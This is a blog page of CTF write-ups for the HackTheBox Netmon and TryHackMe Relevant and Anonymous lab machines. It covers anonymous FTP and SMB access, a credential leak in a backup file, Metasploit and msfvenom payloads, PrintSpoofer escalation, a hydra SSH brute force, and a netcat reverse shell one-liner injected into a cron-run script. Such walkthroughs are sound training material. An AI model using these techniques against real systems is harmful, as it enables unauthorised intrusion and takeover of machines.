Published: Feb 14, 2022 by Wesley Kent

HackTheBox - Netmon

This CTF proves relatively straightforward, but there are a few interesting things about it. This is also one of the few HackTheBox CTFs I did, the vast majority are with TryHackMe. Let’s begin with our nmap scan, the flags are running default scripts, looking for service versions and outputs the results of our scan for later use.

A couple of initial thoughts:

Port 21 / FTP: Anonymous login is allowed, so that will be apart of our enumeration phase
Port 80 / HTTP: Will need to check out the webpage and see if the source code provides anything, run gobuster or dirb to try and enumerate any other pages from the host
Searchsploit for the PRTG/18.1.37.13946 as we see from the scan. We also know the target machine running Windows Server 2008 R2

Beginning with port 21, we can login as “anonymous” and no password is needed:

This allows us some access to search through the directories and find what we can. While the administrator folder is blocked off (meaning we will at likely need some form of privilege escalation later on), we can find, and get, the user flag from the Public directory:

After we get the file we should see it on our local machine and be able to view it:

For now it doesn’t seem that we can get much more out of the ftp server, so let’s see what port 80 can offer.

After running a basic vuln script against port 80 a few options appear, but nothing that ends up working. Also, both dirb and gobuster scans gave us nothing due to a ‘status code’ error that I couldn’t get past, so nothing proved useful on that front.

We can still view the webpage itself, however, and while we are able to access the site, it simply shows itself as a login site for the “PRTG Network Monitor” we saw in our initial scan.
Since the web page itself hasn’t proved useful, searchsploit is a good next step:

This references some exploits we initially saw on our basic vuln scan, and the ‘Remote Code Execution’ option which sounds ideal for our situation. Msfconsole / metasploit has this exploit:

As we try and run this, the default user/pass does not work so we know that we are going to need some updated credentials or find an alternate route to exploit. I’ve already searched through the site’s source code and didn’t find anything and dirb/gobuster was no help. A quick google search confirms the default credentials msfconsole supplied are correct, meaning that they have been changed. The only other thing that we have access to is the anonymous ftp connection that allows us to browse some of their local files and see what else might pop up:

I tried getting access to some log files, access was denied, same for the Documents and Settings folder among others.
We are able to navigate around and find multiple files referencing the PRTG network monitor that we can get to our local machine similar to the user flag. Within the hidden ProgramData folder there is a directory called ‘PRTG Network Monitor’:

Inside this folder we find an old .bak file we can get to our machine.
On our local machine we can search through these files for known login credentials (the username) and the surrounding lines with the -C7 flag:

Here we find a potential password that we can use to try and use through the msfconsole exploit we tried previously.

The escalation process from here is very straight forward, we simply pull up the exploit we tried previously with the newly discovered password. Once we configure our lhost, rhosts and password we can attempt to exploit:

And now we have our meterpreter shell running. We can create a shell if wanted, but we can already navigate to the administrator folder where we find the root flag:

And after all this we have both flags for this CTF. Cheers,

Wes

TryHackMe - Relevant

My go-to scan was taking too long, so I first ran an initial nmap scan only looking for open ports, then the more targeted port scan you see below:

Seeing the web server over port 80 I went there first in the browser. The site was very bland, and there was nothing useful from the site’s source code. The alternate port for that page over 49663 also offered nothing. I tried enumerating possible pages / directories for them with gobuster and got nothing but 400 - RunTime errors:

The page itself links to one of Microsoft Windows Server sites, which tracks with the Operating System guess from the nmap scan, that’s the only good thing to come from this.

Well, seeing as how some SMB services are mentioned on a few of the ports I tried to list available shares on the host with the following command:

No login credentials were needed to get the initial share names, however after trying to interact with several of them I was only able to gain access to nt4wrksv without any authentication. Lo and behold, their very secure way of storing passwords:

Surprisingly, I ended up not needing these passwords to pwn this machine, but I did not know that at the time so I went ahead and cracked the hashes. That first hash looked very similar to other passwords I’ve seen encoded in base64, and sure enough I was able to decode it with the following:

Base64 applied to both hashes in that password file, but again it wasn’t needed in the first place. Now that I had some working credentials, I looked for places to use them. These got me access to another one of the shares, but that had nothing to offer there. I tried logging into the RDP service, but those credentials were rejected.

So, this brought me back to the original SMB share. I’ve already gotten files from it, but I might also be able to upload a reverse shell and gain a foothold that way. Now, since this is only an SMB share we likely will not be able to execute it directly from there, but since this is hosting a web server and we were able to previously logon to the nt4wrksv share anonymously, my thought was to try and call the script from wherever the file resides over the web interface.

Now the files did not appear under port 80, but if you navigate to the ephemeral port that was hosting the alternate http page you should find it there under /share_name/file_name. Knowing this, and that this is a Windows machine, let’s craft that payload with msfvenom:

Since I am using meterpreter to handle this shell, let’s set that up with msfconsole and the multi/handler exploit:

Let’s upload that payload to the SMB share:

After this I tried curling the URL, navigating to it, etc but I could not activate it that way. I was hoping that the exe format would work since I know this is running some kind of Windows OS, sadly it did not work. After some research into what other formats are best for this scenario I tried using the aspx format. I went through the same process as above but for the different file format and then put that onto the same smb share:

Since this handler with aspx is not going through meterpreter I setup a nc listener instead of going the msfconsole route, and after using wget at that file’s location on the web server the shell lights up:

Unfortunately, not too many CTFs are Windows machines (that I’ve done at least) and when it was, it was often a known exploit that was easy to identify. So, I started looking for similar scripts to the LinEnum I have mentioned in previous posts. One search result was a Reddit post with the same question and there were many suggestions including Sherlock, Powerview, Powerup, Jaws, Windows-Privesc-Check and quite literally WindowsEnum. So I downloaded the WindowsEnum file locally and started a web server to punch it over to the target machine. Curl did not work, wget was also not installed, I even ended up trying a direct powershell command after some research with Invoke-WebRequest etc but I lacked the permissions for that. Now, I only realized this later but I was way overcomplicating things - I had access to the machine and I had previously uploaded files via the SMB shares, so why not just use that?

Because my brain must have short-circuited during this time I ended up going down a different avenue to pwn this machine, but at the end I will still show the results of that script after I realized I wasn’t thinking clearly.

Back to the machine - the user flag was something I realized I probably had access to with my current permissions, so I navigated over to the Users folder, found the user “Bob” and could read the user.txt flag on his Desktop:

That’s great and all, but we still don’t have access to the root flag no doubt located in the Administrator folder. Similar to commands we can run on linux I ran a whoami /priv on the Windows machine with the following results:

After a good amount of research (well, the second page of results…) I found this with an executable called PrintSpoofer.exe that supposedly uses those permissions for privilege escalation. As I mentioned before, this was when I realized I can still upload files to the target machine over the smb share, which is what I did next and after running it I got the following:

And a quick whoami confirms we are now nt authority on the system. To get the root flag now just navigate to the Administrator’s Desktop:

And this CTF is mercifully complete.

TryHackMe - Anonymous

This CTF is relatively straight forward, needing only SMB shares and an FTP server for the exploit. Let’s begin with an nmap scan:

My initial thoughts when seeing Samba running over ports 139 and 445 was to further enumerate those services, which I did with enum4linux -a 10.10.246.10. Some of the questions for this CTF can be answered from the results:

We can get access to the pics share and get the files within using the following commands:

I was expecting some kind of steganography to be used here but that doesn’t seem to be the case, at least from what I saw. It’s quite literally two images of dogs as the names indicate. I tried looking for hidden information within those files with several tools, I tried looking for strings, and lastly used file to try and get info, which revealed the following:

What this does give a couple of names that I can try and set up a ssh brute force for, namely “Denise Flaim” and “Susan Sprung”. I wasn’t sure if they were even users on this machine, but it doesn’t hurt to start a brute force attack in the background. I created a rudimentary list of possible usernames which ended up as the following:

dflaim
ssprung
deniseflaim
susansprung
denise
flaim
susan
sprung

If none of these work I can always add capitalized letters, etc. I then setup that brute force with hydra, which looked like this:

While that was running I checked out the FTP server, which from the initial nmap scan I know allows anonymous login:

There are 3 files to get from there, only two of which are useful. The bash file is what is outputting data to the log file, and we can try and manipulate it for more info. Now instead of trying to guess possible usernames to run the password list against I uploaded the following with a simple put command to the ftp server, overwriting the clean.sh bash file:

From the number of generated logs it’s clear this task runs frequently, likely every minute. After a couple of minutes I downloaded the log file once more and got the contents of the /home/ directory, aka what usernames I will need to target:

Okay, so I can now stop my useless hydra attack and modify it to something that will actually hopefully work with hydra -l namelessone -P /usr/share/wordlists/rockyou.txt 10.10.127.241 ssh.

While that was running I decided to keep after the script we can modify on the ftp server. I tried to read the /etc/shadow file to setup a John attack locally, however that didn’t ouput anything to the log file (I’m guessing I lacked the permissions needed). After that I tried looking into the namelessone’s home folder with the following command:

This revealed a file called user.txt - our first flag. After editing that bash file with the following command cat /home/namelessone/user.txt >> /var/ftp/scripts/removed_files.log, it will eventually output the user flag:

Now at this point the bruteforce had been running for some time with nothing useful. This made me think that the foothold is going to have to be through the ftp server as well, so I added a quick which nc and which ncat to see if netcat was installed on the system and once confirming it was installed at /bin/nc I added /bin/nc 10.2.2.129 4444 -e /bin/sh to try and start a reverse shell. Despite being installed, this didn’t work and I don’t know why. I tried adding a sudo at the front as well as confirming that bash was installed where it should be on the system, but nothing came from that. My firewall wasn’t blocking anything that command would’ve needed and the port also wasn’t otherwise in use.

As a quick side note, I checked the crontab next with a crontab -l in the bash script and confirmed that it was running what I expected:

Well, with netcat not working I tried the /dev/tcp route which I got from PenTestMonkey. For whatever reason (the issue still wasn’t the port), our nc listener now lights up with that reverse shell:

I tried a sudo -l which did not help, and after checking for SUID permissions it returned a massive list that would have taken a long time to sift through manually. I found this page, which has a script that will automatically search for anything in that list that might be vulnerable. This is similar to the LinEnum script I have mentioned in previous posts.

Following their steps I downloaded their .py file (I had also previously confirmed python was installed on this system), and after starting a web server on our local machine we can download the script onto the target machine:

I did try curling the raw file from GitHub to the target machine without success. The above method with hosting the web server locally and then getting the script to the target machine worked without issue. Running that script with a quick python suid3num.py will show the following at the bottom of the results:

Given the scripts’ recommendation I went ahead and tried that command and confirmed I did now have root permissions. Most root flags are found in the same place for these CTFs, so I guessed it’s location next and was able to read the contents of the root flag:

That’s all folks. Cheers,

Wes

TryHackMe - Brooklyn Nine Nine